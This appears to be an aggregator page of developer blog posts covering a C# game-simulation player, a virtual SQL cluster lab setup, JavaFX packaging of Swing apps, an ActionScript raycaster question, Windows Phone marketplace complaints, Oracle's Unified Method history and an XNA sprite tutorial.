develop different players to inject into the world. The code below shows a really simple implementation of an inhabitant that can work out what to do based on stimulus from the world. It is pretty simple and just tries to move in some direction if there is nothing blocking the path. public class TestPlayer:LivingEntity { public TestPlayer() { Name = "Beta Boy"; LifeKey = Guid.NewGuid(); } public override ActionResult DecideActionToPerform(EcoDev.Core.Common.Actions.ActionContext actionContext) { try { var action = new MovementAction(); // move forward if we can if (actionContext.Position.ForwardFacingPositions.Length > 0) { if (CheckAccessibilityOfMapBlock(actionContext.Position.ForwardFacingPositions[0])) { action.DirectionToMove = MovementDirection.Forward; return action; } } if (actionContext.Position.LeftFacingPositions.Length > 0) { if (CheckAccessibilityOfMapBlock(actionContext.Position.LeftFacingPositions[0])) { action.DirectionToMove = MovementDirection.Left; return action; } } if (actionContext.Position.RearFacingPositions.Length > 0) { if (CheckAccessibilityOfMapBlock(actionContext.Position.RearFacingPositions[0])) { action.DirectionToMove = MovementDirection.Back; return action; } } if (actionContext.Position.RightFacingPositions.Length > 0) { if (CheckAccessibilityOfMapBlock(actionContext.Position.RightFacingPositions[0])) { action.DirectionToMove = MovementDirection.Right; return action; } } return action; } catch (Exception ex) { World.WriteDebugInformation("Player: "+ Name, string.Format("Player Generated exception: {0}",ex.Message)); throw ex; } } private bool CheckAccessibilityOfMapBlock(MapBlock block) { if (block == null || block.Accessibility == MapBlockAccessibility.AllowEntry || block.Accessibility == MapBlockAccessibility.AllowExit || block.Accessibility == MapBlockAccessibility.AllowPotentialEntry) { return true; } return false; } } It is simple and it seems to work well. The world implementation itself decides the stimulus context that is passed to he inhabitant to make an action decision. All movement is carried out on separate threads and timed appropriately to be as fair as possible and to cater for additional skills such as speed, and eventually maybe stamina, strength, with actions like fighting. It is pretty fun to make up random maps and see how your inhabitant does. You can download the code from here. Along the way I have played with parallel extensions to make the compute intensive stuff spread across all cores, had to heavily factor in visibility of methods and properties so design of classes was paramount, work out movement algorithms that play fairly in the world and properly favour the players with higher abilities, as well as a host of other issues. So that is my ‘solution kata’. If I keep going with it, I may develop a web interface for it where people can upload assemblies and watch their player within a web browser visualiser and maybe even a map designer. What do you do to keep the fires burning?

  Read the article

• Clustering for Mere Mortals (Pt 3)

  - by Geoff N. Hiten

  The Controller Now we get to the meat of the matter.  You want a virtual cluster, the first thing you have to do is create your own portable domain.  Start with a plain vanilla install of Windows 2003 R2 Standard on a semi-default VM. (1 GB RAM, 2 cores, 2 NICs, 128GB dynamically expanding VHD file).  I chose this because it had the smallest disk and memory footprint of any current supported Microsoft Server product.  I created the VM with a single dynamically expanding VHD, one fixed 16 GB VHD, and two NICs.  One NIC is connected to the outside world and the other one is part of an internal-only network.  The first NIC is set up as a DHCP client.  We will get to the other one later. I actually tried this with Windows 2008 R2, but it failed miserably.  Not sure whether it was 2008 R2 or the fact I tried to use cloned VMs in the cluster.  Clustering is one place where NewSID would really come in handy.  Too bad Microsoft bought and buried it. Load and Patch the OS (hence the need for the outside connection).This is a good time to go get dinner.  Maybe a movie too.  There are close to a hundred patches that need to be downloaded and applied.  Avoiding that mess was why I put so much time into trying to get the 2008 R2 version working.  Maybe next time.  Don’t forget to add the extensions for VMLite (or whatever virtualization product you prefer). Set a fixed IP address on the internal-only NIC.  Do not give it a gateway.  Put the same IP address for the NIC and for the DNS Server.  This IP should be in a range that is never available on your public network.  You will need all the addresses in the range available.  See the previous post for the exact settings I used. I chose 10.97.230.1 as the server.  The rest of the 10.97.230 range is what I will use later.  For the curious, those numbers are based on elements of my home address.  Not truly random, but good enough for this project. Do not bridge the network connections.  I never allowed the cluster nodes direct access to any public network. Format the fixed VHD and leave it alone for now. Promote the VM to a Domain Controller.  If you have never done this, don’t worry.  The only meaningful decision is what to call the new domain.  I prefer a bogus name that does not correspond to a real Top-Level Domain (TLD).  .com, .biz., .net, .org  are all TLDs that we know and love.  I chose .test as the TLD since it is descriptive AND it does not exist in the real world.  The domain is called MicroAD.  This gives me MicroAD.Test as my domain. During the promotion process, you will be prompted to install DNS as part of the Domain creation process.  You want to accept this option.  The installer will automatically assign this DNS server as the authoritative owner of the MicroAD.test DNS domain (not to be confused with the MicroAD.test Active Directory domain.) For the rest of the DCPROMO process, just accept the defaults. Now let’s make our IP address management easy.  Add the DHCP Role to the server.  Add the server (10.97.230.1 in this case) as the default gateway to assign to DHCP clients.  Here is where you have to be VERY careful and bind it ONLY to the Internal NIC.  Trust me, your network admin will NOT like an extra DHCP server “helping” out on her network.  Go ahead and create a range of 10-20 IP Addresses in your scope.  You might find other uses for a pocket domain controller <cough> Mirroring </cough> than just for building a cluster.  And Clustering in SQL 2008 and Windows 2008 R2 fully supports DHCP addresses. Now we have three of the five key roles ready.  Two more to go. Next comes file sharing.  Since your cluster node VMs will not have access to any outside, you have to have some way to get files into these VMs.  I simply go to the root of C: and create a “Shared” folder.  I then share it out and grant full control to “Everyone” to both the share and to the underlying NTFS folder.   This will be immensely useful for Service Packs, demo databases, and any other software that isn’t packaged as an ISO that we can mount to the VM. Finally we need to create a block-level multi-connect storage device.  The kind folks at Starwinds Software (http://www.starwindsoftware.com/) graciously gave me a non-expiring demo license for expressly this purpose.  Their iSCSI SAN software lets you create an iSCSI target from nearly any storage medium.  Refreshingly, their product does exactly what they say it does.  Thanks. Remember that 16 GB VHD file?  That is where we are going to carve into our LUNs.  I created an iSCSI folder off the root, just so I can keep everything organized.  I then carved 5 ea. 2 GB iSCSI targets from that folder.  I chose a fixed VHD for performance.  I tried this earlier with a dynamically expanding VHD, but too many layers of abstraction and sparseness combined to make it unusable even for a demo.  Stick with a fixed VHD so there is a one-to-one mapping between abstract and physical storage.  If you read the previous post, you know what I named these iSCSI LUNs and why.  Yes, I do have some left over space.  Always leave yourself room for future growth or options. This gets us up to where we can actually build the nodes and install SQL.  As with most clusters, the real work happens long before the individual nodes get installed and configured.  At least it does if you want the cluster to be a true high-availability platform.

  Read the article

• Clustering for Mere Mortals (Pt3)

  - by Geoff N. Hiten

  The Controller Now we get to the meat of the matter.  You want a virtual cluster, the first thing you have to do is create your own portable domain.  IStart with a plain vanilla install of Windows 2003 R2 Standard on a semi-default VM. (1 GB RAM, 2 cores, 2 NICs, 128GB dynamically expanding VHD file).  I chose this because it had the smallest disk and memory footprint of any current supported Microsoft Server product.  I created the VM with a single dynamically expanding VHD, one fixed 16 GB VHD, and two NICs.  One NIC is connected to the outside world and the other one is part of an internal-only network.  The first NIC is set up as a DHCP client.  We will get to the other one later. I actually tried this with Windows 2008 R2, but it failed miserably.  Not sure whether it was 2008 R2 or the fact I tried to use cloned VMs in the cluster.  Clustering is one place where NewSID would really come in handy.  Too bad Microsoft bought and buried it. Load and Patch the OS (hence the need for the outside connection).This is a good time to go get dinner.  Maybe a movie too.  There are close to a hundred patches that need to be downloaded and applied.  Avoiding that mess was why I put so much time into trying to get the 2008 R2 version working.  Maybe next time.  Don’t forget to add the extensions for VMLite (or whatever virtualization product you prefer). Set a fixed IP address on the internal-only NIC.  Do not give it a gateway.  Put the same IP address for the NIC and for the DNS Server.  This IP should be in a range that is never available on your public network.  You will need all the addresses in the range available.  See the previous post for the exact settings I used. I chose 10.97.230.1 as the server.  The rest of the 10.97.230 range is what I will use later.  For the curious, those numbers are based on elements of my home address.  Not truly random, but good enough for this project. Do not bridge the network connections.  I never allowed the cluster nodes direct access to any public network. Format the fixed VHD and leave it alone for now. Promote the VM to a Domain Controller.  If you have never done this, don’t worry.  The only meaningful decision is what to call the new domain.  I prefer a bogus name that does not correspond to a real Top-Level Domain (TLD).  .com, .biz., .net, .org  are all TLDs that we know and love.  I chose .test as the TLD since it is descriptive AND it does not exist in the real world.  The domain is called MicroAD.  This gives me MicroAD.Test as my domain. During the promotion process, you will be prompted to install DNS as part of the Domain creation process.  You want to accept this option.  The installer will automatically assign this DNS server as the authoritative owner of the MicroAD.test DNS domain (not to be confused with the MicroAD.test Active Directory domain.) For the rest of the DCPROMO process, just accept the defaults. Now let’s make our IP address management easy.  Add the DHCP Role to the server.  Add the server (10.97.230.1 in this case) as the default gateway to assign to DHCP clients.  Here is where you have to be VERY careful and bind it ONLY to the Internal NIC.  Trust me, your network admin will NOT like an extra DHCP server “helping” out on her network.  Go ahead and create a range of 10-20 IP Addresses in your scope.  You might find other uses for a pocket domain controller <cough> Mirroring </cough> than just for building a cluster.  And Clustering in SQL 2008 and Windows 2008 R2 fully supports DHCP addresses. Now we have three of the five key roles ready.  Two more to go. Next comes file sharing.  Since your cluster node VMs will not have access to any outside, you have to have some way to get files into these VMs.  I simply go to the root of C: and create a “Shared” folder.  I then share it out and grant full control to “Everyone” to both the share and to the underlying NTFS folder.   This will be immensely useful for Service Packs, demo databases, and any other software that isn’t packaged as an ISO that we can mount to the VM. Finally we need to create a block-level multi-connect storage device.  The kind folks at Starwinds Software (http://www.starwindsoftware.com/) graciously gave me a non-expiring demo license for expressly this purpose.  Their iSCSI SAN software lets you create an iSCSI target from nearly any storage medium.  Refreshingly, their product does exactly what they say it does.  Thanks. Remember that 16 GB VHD file?  That is where we are going to carve into our LUNs.  I created an iSCSI folder off the root, just so I can keep everything organized.  I then carved 5 ea. 2 GB iSCSI targets from that folder.  I chose a fixed VHD for performance.  I tried this earlier with a dynamically expanding VHD, but too many layers of abstraction and sparseness combined to make it unusable even for a demo.  Stick with a fixed VHD so there is a one-to-one mapping between abstract and physical storage.  If you read the previous post, you know what I named these iSCSI LUNs and why.  Yes, I do have some left over space.  Always leave yourself room for future growth or options. This gets us up to where we can actually build the nodes and install SQL.  As with most clusters, the real work happens long before the individual nodes get installed and configured.  At least it does if you want the cluster to be a true high-availability platform.

  Read the article

• Packaging Swing apps with integrated JavaFX content

  - by igor

  JavaFX provides a lot of interesting capabilities for developing rich client applications in Java, but what if you are working on an existing Swing application and you want to take advantage of these new features?  Maybe you want to use one or two controls like the LineChart or a MediaView.  Maybe you want to embed a large Scene Graph as an initial step in porting your application to FX.  A hybrid Swing/FX application might just be the answer. Developing a hybrid Swing + JavaFX application is not terribly difficult, but until recently the deployment of hybrid applications has not simple as a "pure" JavaFX application.  The existing tools focused on packaging FX Applications, or Swing applications - they did not account for hybrid applications. But with JavaFX 2.2 the tools include support for this hybrid application use case.  Solution  In JavaFX 2.2 we extended the packaging ant tasks to greatly simplify deploying hybrid applications.  You now use the same deployment approach as you would for pure JavaFX applications.  Just bundle your main application jar with the fx:jar ant task and then generate html/jnlp files using fx:deploy.  The only difference is setting toolkit attribute for the fx:application tag as shown below: <fx:application id="swingFXApp" mainClass="${main.class}" toolkit="swing"/>  The value of ${main.class} in the example above is your application class which has a main method.  It does not need to extend JavaFX Application class. The resulting package provides support for the same set of execution modes as a package for a JavaFX application, although the packages which are created are not identical to the packages created for a pure FX application.  You will see two JNLP files generated in the case of a hybrid application - one for use from Swing applet and another for the webstart launch.  Note that these improvements do not alter the set of features available to Swing applications. The packaging tools just make it easier to use the advanced features of JavaFX in your Swing application. The same limits still apply, for example a Swing application can not use JavaFX Preloaders and code changes are necessary to support HTML splash screens. Why should I use the JavaFX ant tasks for packaging my Swing application?  While using FX packaging tool for a Swing application may seem like a mismatch at face value, there are some really good reasons to use this approach.  The primary justification for our packaging tools is to simplify the creation of your application artifacts, and to reduce manual errors.  Plus, no one should have to write JNLP by hand. Some specific benefits include: Your application jar will include a launcher program.  This improves your standalone launch by: checking for the JavaFX runtime guiding the user through any necessary installations setting the system proxy for Java The ant tasks will generate JNLP and HTML files for your swing app: avoids learning unnecessary details about JNLP, and eliminates the error-prone hand editing of JNLP files simplifies using advanced features like embedding JNLP and signing jars as BLOBs to improve launch performance.you can also embed the signing certificate details to improve the user's experience  allows the use of web page templates to inject the generated code directly into your actual web page instead of being forced to copy/paste the generated code snippets. What about native packing? Absolutely!  The very same ant task can generate a native bundle for a Swing application with JavaFX content.  Try running one of these sample native bundles for the "SwingInterop" FX example: exe and dmg.   I also used another feature on these examples: a click-through license agreement for .exe installers and OS X DMG drag installers. Small Caveat This packaging procedure is optimized around using the JavaFX packaging tools for your entire Swing application.  If you are trying to embed JavaFX content into existing project (with an existing build/packing process) then you may need to experiment in order to find the best way to integrate the JavaFX packaging steps into your existing build procedure. As long as you can use ant in your build process this should be a workable approach. It some cases solution could be less than ideal. For example, you need to use fx:jar to package your main jar file in order to produce a double-clickable jar or a native bundle.  The jar will be created from scratch, but you may already be creating the main jar file with a custom manifest.  This may lead to some redundant steps in your build process.  Hopefully the benefits will outweigh the problems. This is an area of ongoing development for the team, and we will continue to refine and improve both the tools and the process. Please share your experiences and suggestions with us.  You can comment here on the blog or file issues to JIRA. Sample code Here is the full ant code used to package SwingInterop.  You can grab latest JavaFX samples and try it yourself:  <target name="-post-jar"> <taskdef resource="com/sun/javafx/tools/ant/antlib.xml" uri="javafx:com.sun.javafx.tools.ant" classpath="${javafx.tools.ant.jar}"/> <!-- Mark application as Swing-based --> <fx:application id="swingFXApp" mainClass="${main.class}" toolkit="swing"/> <!-- Create doubleclickable jar file with embedded launcher --> <fx:jar destfile="${dist.jar}"> <fileset dir="${build.classes.dir}"/> <fx:application refid="swingFXApp" name="SwingInterop"/> <manifest> <attribute name="Implementation-Vendor" value="${application.vendor}"/> <attribute name="Implementation-Title" value="${application.title}"/> <attribute name="Implementation-Version" value="1.0"/> </manifest> </fx:jar> <!-- sign application jar. Use new self signed certificate --> <delete file="${build.dir}/test.keystore"/> <genkey alias="TestAlias" storepass="xyz123" keystore="${build.dir}/test.keystore" dname="CN=Samples, OU=JavaFX Dev, O=Oracle, C=US"/> <fx:signjar keystore="${build.dir}/test.keystore" alias="TestAlias" storepass="xyz123"> <fileset file="${dist.jar}"/> </fx:signjar> <!-- generate JNLPs, HTML and native bundles --> <fx:deploy width="960" height="720" includeDT="true" nativeBundles="all" outdir="${basedir}/${dist.dir}" embedJNLP="true" outfile="${application.title}"> <fx:application refId="swingFXApp"/> <fx:resources> <fx:fileset dir="${basedir}/${dist.dir}" includes="SwingInterop.jar"/> </fx:resources> <fx:permissions/> <info title="Sample app: ${application.title}" vendor="${application.vendor}"/> </fx:deploy> </target>

  Read the article

• My raycaster is putting out strange results, how do I fix it?

  - by JamesK89

  I'm working on a raycaster in ActionScript 3.0 for the fun of it, and as a learning experience. I've got it up and running and its displaying me output as expected however I'm getting this strange bug where rays go through corners of blocks and the edges of blocks appear through walls. Maybe somebody with more experience can point out what I'm doing wrong or maybe a fresh pair of eyes can spot a tiny bug I haven't noticed. Thank you so much for your help! Screenshots: http://i55.tinypic.com/25koebm.jpg http://i51.tinypic.com/zx5jq9.jpg Relevant code: function drawScene() { rays.graphics.clear(); rays.graphics.lineStyle(1, rgba(0x00,0x66,0x00)); var halfFov = (player.fov/2); var numRays:int = ( stage.stageWidth / COLUMN_SIZE ); var prjDist = ( stage.stageWidth / 2 ) / Math.tan(toRad( halfFov )); var angStep = ( player.fov / numRays ); for( var i:int = 0; i < numRays; i++ ) { var rAng = ( ( player.angle - halfFov ) + ( angStep * i ) ) % 360; if( rAng < 0 ) rAng += 360; var ray:Object = castRay(player.position, rAng); drawRaySlice(i*COLUMN_SIZE, prjDist, player.angle, ray); } } function drawRaySlice(sx:int, prjDist, angle, ray:Object) { if( ray.distance >= MAX_DIST ) return; var height:int = int(( TILE_SIZE / (ray.distance * Math.cos(toRad(angle-ray.angle))) ) * prjDist); if( !height ) return; var yTop = int(( stage.stageHeight / 2 ) - ( height / 2 )); if( yTop < 0 ) yTop = 0; var yBot = int(( stage.stageHeight / 2 ) + ( height / 2 )); if( yBot > stage.stageHeight ) yBot = stage.stageHeight; rays.graphics.moveTo( (ray.origin.x / TILE_SIZE) * MINI_SIZE, (ray.origin.y / TILE_SIZE) * MINI_SIZE ); rays.graphics.lineTo( (ray.hit.x / TILE_SIZE) * MINI_SIZE, (ray.hit.y / TILE_SIZE) * MINI_SIZE ); for( var x:int = 0; x < COLUMN_SIZE; x++ ) { for( var y:int = yTop; y < yBot; y++ ) { buffer.setPixel(sx+x, y, clrTable[ray.tile-1] >> ( ray.horz ? 1 : 0 )); } } } function castRay(origin:Point, angle):Object { // Return values var rTexel = 0; var rHorz = false; var rTile = 0; var rDist = MAX_DIST + 1; var rMap:Point = new Point(); var rHit:Point = new Point(); // Ray angle and slope var ra = toRad(angle) % ANGLE_360; if( ra < ANGLE_0 ) ra += ANGLE_360; var rs = Math.tan(ra); var rUp = ( ra > ANGLE_0 && ra < ANGLE_180 ); var rRight = ( ra < ANGLE_90 || ra > ANGLE_270 ); // Ray position var rx = 0; var ry = 0; // Ray step values var xa = 0; var ya = 0; // Ray position, in map coordinates var mx:int = 0; var my:int = 0; var mt:int = 0; // Distance var dx = 0; var dy = 0; var ds = MAX_DIST + 1; // Horizontal intersection if( ra != ANGLE_180 && ra != ANGLE_0 && ra != ANGLE_360 ) { ya = ( rUp ? TILE_SIZE : -TILE_SIZE ); xa = ya / rs; ry = int( origin.y / TILE_SIZE ) * ( TILE_SIZE ) + ( rUp ? TILE_SIZE : -1 ); rx = origin.x + ( ry - origin.y ) / rs; mx = 0; my = 0; while( mx >= 0 && my >= 0 && mx < world.size.x && my < world.size.y ) { mx = int( rx / TILE_SIZE ); my = int( ry / TILE_SIZE ); mt = getMapTile(mx,my); if( mt > 0 && mt < 9 ) { dx = rx - origin.x; dy = ry - origin.y; ds = ( dx * dx ) + ( dy * dy ); if( rDist >= MAX_DIST || ds < rDist ) { rDist = ds; rTile = mt; rMap.x = mx; rMap.y = my; rHit.x = rx; rHit.y = ry; rHorz = true; rTexel = int(rx % TILE_SIZE) } break; } rx += xa; ry += ya; } } // Vertical intersection if( ra != ANGLE_90 && ra != ANGLE_270 ) { xa = ( rRight ? TILE_SIZE : -TILE_SIZE ); ya = xa * rs; rx = int( origin.x / TILE_SIZE ) * ( TILE_SIZE ) + ( rRight ? TILE_SIZE : -1 ); ry = origin.y + ( rx - origin.x ) * rs; mx = 0; my = 0; while( mx >= 0 && my >= 0 && mx < world.size.x && my < world.size.y ) { mx = int( rx / TILE_SIZE ); my = int( ry / TILE_SIZE ); mt = getMapTile(mx,my); if( mt > 0 && mt < 9 ) { dx = rx - origin.x; dy = ry - origin.y; ds = ( dx * dx ) + ( dy * dy ); if( rDist >= MAX_DIST || ds < rDist ) { rDist = ds; rTile = mt; rMap.x = mx; rMap.y = my; rHit.x = rx; rHit.y = ry; rHorz = false; rTexel = int(ry % TILE_SIZE); } break; } rx += xa; ry += ya; } } return { angle: angle, distance: Math.sqrt(rDist), hit: rHit, map: rMap, tile: rTile, horz: rHorz, origin: origin, texel: rTexel }; }

  Read the article

• Pet Peeves with the Windows Phone 7 Marketplace

  - by Bil Simser

  Have you ever noticed how something things just gnaw at your very being. This is the case with the WP7 marketplace, the Zune software, and the things that drive me batshit crazy with a side of fries. To go. I wanted to share. XBox Live is Not the Centre of the Universe Okay, it’s fine that the Zune software has an XBox live tag for games so can see them clearly but do we really need to have it shoved down our throats. On every click? Click on Games in the marketplace: The first thing that it defaults to on the filters on the right is XBox Live: Okay. Fine. However if you change it (say to Paid) then click onto a title when you come back from that title is the filter still set to Paid? No. It’s back to XBox Live again. Really? Give us a break. If you change to any filter on any other genre then click on the selected title, it doesn’t revert back to anything. It stays on the selection you picked. Let’s be fair here. The Games genre should behave just like every other one. If I pick Paid then when I come back to the list please remember that. Double Dipping On the subject of XBox Live titles, Microsoft (and developers who have an agreement with Microsoft to produce Live titles, which generally rules out indie game developers) is double dipping with regards to exposure of their titles. Here’s the Puzzle and Trivia Game section on the Marketplace for XBox Live titles: And here’s the same category filtered on Paid titles: See the problem? Two indie titles while the rest are XBox Live ones. So while XBL has it’s filter, they also get to showcase their wares in the Paid and Free filters as well. If you’re going to have an XBox Live filter then use it and stop pushing down indie titles until they’re off the screen (on some genres this is already the case). Free and Paid titles should be just that and not include XBox Live ones. If you’re really stoked that people can’t find the Free XBox Live titles vs. the paid ones, then create a Free XBox Live filter and a Paid XBox Live filter. I don’t think we would mind much. Whose Trial is it Anyways? You might notice apps in the marketplace with titles like “My Fart App Professional Lite” or “Silicon Lamb Spleen Builder Free”. When you submit and app to the marketplace it can either be free or paid. If it’s a paid app you also have the option to submit it with Trial capabilities. It’s up to you to decide what you offer in the trial version but trial versions can be purchased from within the app so after someone trys out your app (for free) and wants to unlock the Super Secret Obama Spy Ring Level, they can just go to the marketplace from your app (if you built that functionality in) and upgrade to the paid version. However it creates a rift of sorts when it comes to visibility. Some developers go the route of the paid app with a trial version, others decide to submit *two* apps instead of one. One app is the “Free” or “Lite” verions and the other is the paid version. Why go to the hassle of submitting two apps when you can just create a trial version in the same app? Again, visibility. There’s no way to tell Paid apps with Trial versions and ones without (it’s an option, you don’t have to provide trial versions, although I think it’s a good idea). However there is a way to see the Free apps from the Paid ones so some submit the two apps and have the Free version have links to buy the paid one (again through the Marketplace tasks in the API). What we as developers need for visibility is a new filter. Trial. That’s it. It would simply filter on Paid apps that have trial capabilities and surface up those apps just like the free ones. If Microsoft added this filter to the marketplace, it would eliminate the need for people to submit their “Free” and “Lite” versions and make it easier for the developer not to have to maintain two systems. I mean, is it really that hard? Can’t be any more difficult than the XBox Live Filter that’s already there. Location is Everything The last thing on my bucket list is about location. When I launch Zune I’m running in my native location setting, Canada. What’s great is that I navigate to the Travel Tools section where I have one of my apps and behold the splendour that I see: There are my apps in the number 1 and number 4 slot for top selling in that category. I show it to my wife to make up for the sleepless nights writing this stuff and we dance around and celebrate. Then I change my location on my operation system to United States and re-launch Zune. WTF? My flight app has slipped to the 10th spot (I’m only showing 4 across here out of the 7 in Zune) and my border check app that was #1 is now in the 32nd spot! End of celebration. Not only is relevance being looked at here, I value the comments people make on may apps as do most developers. I want to respond to them and show them that I’m listening. The next version of my border app will provide multiple camera angles. However when I’m running in my native Canada location, I only see two reviews. Changing over to United States I see fourteen! While there are tools out there to provide with you a unified view, I shouldn’t have to rely on them. My own Zune desktop software should allow me to see everything. I realize that some developers will submit an app and only target it for some locations and that’s their choice. However I shouldn’t have to jump through hoops to see what apps are ahead of mine, or see people comments and ratings. Another proposal. Either unify the marketplace (i.e. when I’m looking at it show me everything combined) or let me choose a filter. I think the first option might be difficult as you’re trying to average out top selling apps across all markets and have to deal with some apps that have been omitted from some markets. Although I think you could come up with a set of use cases that would handle that, maybe that’s too much work. At the very least, let us developers view the markets in a drop down or something from within the Zune desktop. Having to shut down Zune, change our location, and re-launch Zune to see other perspectives is just too onerous. A Call to Action These are just one mans opinion. Do you agree? Disagree? Feel hungry for a bacon sandwich? Let everyone know via the comments below. Perhaps someone from Microsoft will be reading and take some of these ideas under advisement. Maybe not, but at least let’s get the word out that we really want to see some change. Egypt can do it, why not WP7 developers!

  Read the article

• The Birth of a Method - Where did OUM come from?

  - by user702549

  It seemed fitting to start this blog entry with the OUM vision statement. The vision for the Oracle® Unified Method (OUM) is to support the entire Enterprise IT lifecycle, including support for the successful implementation of every Oracle product.  Well, it’s that time of year again; we just finished testing and packaging OUM 5.6.  It will be released for general availability to qualifying customers and partners this month.  Because of this, I’ve been reflecting back on how the birth of Oracle’s Unified method - OUM came about. As the Release Director of OUM, I’ve been honored to package every method release.  No, maybe you’d say it’s not so special.  Of course, anyone can use packaging software to create an .exe file.  But to me, it is pretty special, because so many people work together to make each release come about.  The rich content that results is what makes OUM’s history worth talking about.   To me, professionally speaking, working on OUM, well it’s been “a labor of love”.  My youngest child was just 8 years old when OUM was born, and she’s now in High School!  Watching her grow and change has been fascinating, if you ask her, she’s grown up hearing about OUM.  My son would often walk into my home office and ask “How is OUM today, Mom?”  I am one of many people that take care of OUM, and have watched the method “mature” over these last 6 years.  Maybe that makes me a "Method Mom" (someone in one of my classes last year actually said this outloud) but there are so many others who collaborate and care about OUM Development. I’ve thought about writing this blog entry for a long time just to reflect on how far the Method has come. Each release, as I prepare the OUM Contributors list, I see how many people’s experience and ideas it has taken to create this wealth of knowledge, process and task guidance as well as templates and examples.  If you’re wondering how many people, just go into OUM select the resources button on the top of most pages of the method, and on that resources page click the ABOUT link. So now back to my nostalgic moment as I finished release 5.6 packaging.  I reflected back, on all the things that happened that cause OUM to become not just a dream but to actually come to fruition.  Here are some key conditions that make it possible for each release of the method: A vision to have one method instead of many methods, thereby focusing on deeper, richer content People within Oracle’s consulting Organization  willing to contribute to OUM providing Subject Matter Experts who are willing to write down and share what they know. Oracle’s continued acquisition of software companies, the need to assimilate high quality existing materials from these companies The need to bring together people from very different backgrounds and provide a common language to support Oracle Product implementations that often involve multiple product families What came first, and then what was the strategy? Initially OUM 4.0 was based on Oracle’s J2EE Custom Development Method (JCDM), it was a good “backbone”  (work breakdown structure) it was Unified Process based, and had good content around UML as well as custom software development.  But it needed to be extended in order to achieve the OUM Vision. What happened after that was to take in the “best of the best”, the legacy and acquired methods were scheduled for assimilation into OUM, one release after another.  We incrementally built OUM.  We didn’t want to lose any of the expertise that was reflected in AIM (Oracle’s legacy Application Implementation Method), Compass (People Soft’s Application implementation method) and so many more. When was OUM born? OUM 4.1 published April 30, 2006.  This release allowed Oracles Advanced Technology groups to begin the very first implementations of Fusion Middleware.  In the early days of the Method we would prepare several releases a year.  Our iterative release development cycle began and continues to be refined with each Method release.  Now we typically see one major release each year. The OUM release development cycle is not unlike many Oracle Implementation projects in that we need to gather requirements, prioritize, prepare the content, test package and then go production.  Typically we develop an OUM release MoSCoW (must have, should have, could have, and won’t have) right after the prior release goes out.   These are the high level requirements.  We break the timeframe into increments, frequent checkpoints that help us assess the content and progress is measured through frequent checkpoints.  We work as a team to prioritize what should be done in each increment. Yes, the team provides the estimates for what can be done within a particular increment.  We sometimes have Method Development workshops (physically or virtually) to accelerate content development on a particular subject area, that is where the best content results. As the written content nears the final stages, it goes through edit and evaluation through peer reviews, and then moves into the release staging environment.  Then content freeze and testing of the method pack take place.  This iterative cycle is run using the OUM artifacts that make sense “fit for purpose”, project plans, MoSCoW lists, Test plans are just a few of the OUM work products we use on a Method Release project. In 2007 OUM 4.3, 4.4 and 4.5 were published.  With the release of 4.5 our Custom BI Method (Data Warehouse Method FastTrack) was assimilated into OUM.  These early releases helped us align Oracle’s Unified method with other industry standards Then in 2008 we made significant changes to the OUM “Backbone” to support Applications Implementation projects with that went to the OUM 5.0 release.  Now things started to get really interesting.  Next we had some major developments in the Envision focus area in the area of Enterprise Architecture.  We acquired some really great content from the former BEA, Liquid Enterprise Method (LEM) along with some SMEs who were willing to work at bringing this content into OUM.  The Service Oriented Architecture content in OUM is extensive and can help support the successful implementation of Fusion Middleware, as well as Fusion Applications. Of course we’ve developed a wealth of OUM training materials that work also helps to improve the method content.  It is one thing to write “how to”, and quite another to be able to teach people how to use the materials to improve the success of their projects.  I’ve learned so much by teaching people how to use OUM. What's next? So here toward the end of 2012, what’s in store in OUM 5.6, well, I’m sure you won’t be surprised the answer is Cloud Computing.   More details to come in the next couple of weeks!  The best part of being involved in the development of OUM is to see how many people have “adopted” OUM over these six years, Clients, Partners, and Oracle Consultants.  The content just gets better with each release.   I’d love to hear your comments on how OUM has evolved, and ideas for new content you’d like to see in the upcoming releases.

  Read the article

• Day 3 - XNA: Hacking around with images

  - by dapostolov

  Yay! Today I'm going to get into some code! My mind has been on this all day! I find it amusing how I practice, daily, to be "in the moment" or "present" and the excitement and anticipation of this project seems to snatch it away from me frequently. WELL!!! (Shakes Excitedly) Let's do this =)! Let's code! For these next few days it is my intention to better understand image rendering using XNA; after said prototypes are complete I should (fingers crossed) be able to dive into my game code using the design document I hammered out the other night. On a personal note, I think the toughest thing right now is finding the time to do this project. Each night, after my little ones go to bed I can only really afford a couple hours of work on this project. However, I hope to utilise this time as best as I can because this is the first time in a while I've found a project that I've been passionate about. A friend recently asked me if I intend to go 3D or extend the game design. Yes. For now I'm keeping it simple. Lastly, just as a note, as I was doing some further research into image rendering this morning I came across some other XNA content and lessons learned. I believe this content could have probably been posted in the first couple of posts, however, I will share the new content as I learn it at the end of each day. Maybe I'll take some time later to fix the posts but for now Installation and Deployment - Lessons Learned I had installed the XNA studio  (Day 1) and the site instructions were pretty easy to follow. However, I had a small difficulty with my development environment. You see, I run a virtual desktop development environment. Even though I was able to code and compile all the tutorials the game failed to run...because I lacked a 3D capable card; it was not detected on the virtual box... First Lesson: The XNA runtime needs to "see" the 3D card! No sweat, Il copied the files over to my parent box and executed the program. ERROR. Hmm... Second Lesson (which I should have probably known but I let the excitement get the better of me): you need the XNA runtime on the client PC to run the game, oh, and don't forget the .Net Runtime! Sprite, it ain't just a Soft Drink... With these prototypes I intend to understand and perform the following tasks. learn game development terminology how to place and position (rotate) a static image on the screen how to layer static images on the screen understand image scaling can we reuse images? understand how framerate is handled in XNA how to display text , basic shapes, and colors on the screen how to interact with an image (collision of user input?) how to animate an image and understand basic animation techniques how to detect colliding images or screen edges how to manipulate the image, lets say colors, stretching how to focus on a segment of an image...like only displaying a frame on a film reel what's the best way to manage images (compression, storage, location, prevent artwork theft, etc.) Well, let's start with this "prototype" task list for now...Today, let's get an image on the screen and maybe I can mark a few of the tasks as completed... C# Prototype1 New Visual Studio Project Select the XNA Game Studio 3.1 Project Type Select the Windows Game 3.1 Template Type Prototype1 in the Name textbox provided Press OK. At this point code has auto-magically been created. Feel free to press the F5 key to run your first XNA program. You should have a blue screen infront of you. Without getting into the nitty gritty right, the code that was generated basically creates some basic code to clear the window content with the lovely CornFlowerBlue color. Something to notice, when you move your mouse into the window...nothing. ooooo spoooky. Let's put an image on that screen! Step A - Get an Image into the solution Under "Content" in your Solution Explorer, right click and add a new folder and name it "Sprites". Copy a small image in there; I copied a "Royalty Free" wizard hat from a quick google search and named it wizards_hat.jpg (rightfully so!) Step B - Add the sprite and position fields Now, open/edit  Game1.cs Locate the following line:  SpriteBatch spriteBatch; Under this line type the following:         SpriteBatch spriteBatch; // the line you are looking for...         Texture2D sprite;         Vector2 position; Step C - Load the image 